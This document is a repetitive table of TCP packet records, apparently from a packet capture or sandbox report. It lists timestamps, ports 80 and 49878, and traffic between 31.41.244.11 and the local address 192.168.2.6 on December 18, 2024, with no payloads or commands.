Dec 18, 2024 11:47:47.929703951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.929717064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.929749012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.929764986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.930824041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.930836916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.930867910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.931910038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.931922913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.931956053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.933181047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.933193922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.933237076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.934273958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.934317112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.934365034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.934406996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.935672998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.935686111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.935719013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.936525106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.936568022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.936992884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.937038898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.937891960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.937906027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.937933922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.937951088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.939155102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.939167023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.939198971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.940102100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.940114021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.940146923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.941402912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.941442013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.941457987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.941488981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.942404985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.942419052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.942456007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.943780899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.943794966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.943829060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.944807053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.944849968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.944911003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.944951057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.945938110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.945950985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.945977926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.946007013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.947137117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.947174072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.947205067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.947244883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.948306084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.948350906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.948379040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.948417902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.949728966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.949742079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.949770927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.949788094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.950774908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.950788021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.950819016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.950834036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.952014923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.952028036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.952060938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.952078104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.952913046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.952948093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.952958107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.952989101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.954137087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.954183102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.954194069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.954227924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.955271006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.955284119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.955319881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.955336094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.956830025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.956876040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.956960917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.957004070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.957592010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.957618952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.957633972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.957648039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.958992004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.959039927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.959234953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.959275961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.959954977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.959999084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.960074902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.960114002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.961185932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.961199999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.961245060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.961245060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.962351084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.962363005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.962399960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.963465929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.963491917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.963535070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.963535070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.094150066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.094222069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.094244003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.094271898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.094820976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.094846964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.094873905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.094894886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.095931053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.095983982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.096056938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.096358061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.096982002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.097028017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.097414017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.097460032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.097474098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.097507954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.098594904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.098607063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.098639011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.098659039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.100016117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.100092888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.100097895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.100146055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.101171970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.101186037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.101207018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.101226091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.102123022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.102135897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.102171898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.102196932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.103545904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.103559971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.103585005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.103611946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.104492903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.104506016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.104531050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.104549885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.105989933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.106003046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.106173992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.106909990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.106923103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.106955051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.108258009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.108270884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.108300924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.108335972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.109041929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.109055996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.109077930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.109095097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.110270023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.110306978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.110325098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.110344887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.111424923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.111455917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.111463070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.111485004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.112795115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.112840891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.112848043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.112883091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.113765955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.113779068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.113801956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.113820076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.114871025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.114906073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.114913940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.114945889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.116169930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.116183043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.116204977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.116221905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.117449045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.117460966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.117490053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.118604898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.118618011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.118648052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.118678093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.119658947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.119688034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.119700909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.119724989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.121248007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.121275902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.121331930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.121331930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.122889996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.122904062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.122942924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.123883009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.123908043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.123929024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.123955011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.124850988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.124892950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.124922037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.124955893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.125879049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.125921965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.125936031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.125968933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.126962900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.126976013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.127007008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.128343105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.128355026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.128388882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.129326105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.129338980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.129367113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.129394054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.130152941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.130192041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.130551100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.130589962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.131447077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.131486893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.131489992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.131516933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.132509947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.132555008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.132694960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.132726908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.133855104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.133867025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.133912086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.133912086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.134821892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.134865999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.135003090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.135035992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.135946989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.135958910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.135989904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.136013031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.137187958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.137201071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.137249947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.138478994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.138530970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.138545036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.138581038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.139501095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.139540911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.139576912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.139609098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.140659094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.140683889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.140706062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.140722036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.141834021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.141865969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.141880035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.141901016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.143151045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.143196106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.143253088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.143285990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.144299030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.144310951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.144342899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.144360065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.145395041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.145406008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.145448923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.146485090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.146509886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.146528959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.146545887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.147686005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.147697926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.147726059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.147746086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.148844004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.148895979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.148921967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.148957014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.149981976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.150024891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.150106907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.150141954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.151289940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.151329041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.151355982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.151386976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.152443886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.152484894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.152744055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.152792931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.156882048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.156893015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.156924963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.156940937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.158655882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.158668041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.158694983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.158724070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.285466909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.285478115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.285557985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.286178112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.286190033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.286220074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.286243916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.286889076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.286964893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.287004948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.287041903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.288067102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.288079023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.288103104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.288122892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.289648056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.289659977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.289685011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.289704084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.291048050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.291090012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.291110992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.291145086 CET	49878	80	192.168.2.6	31.41.244.11
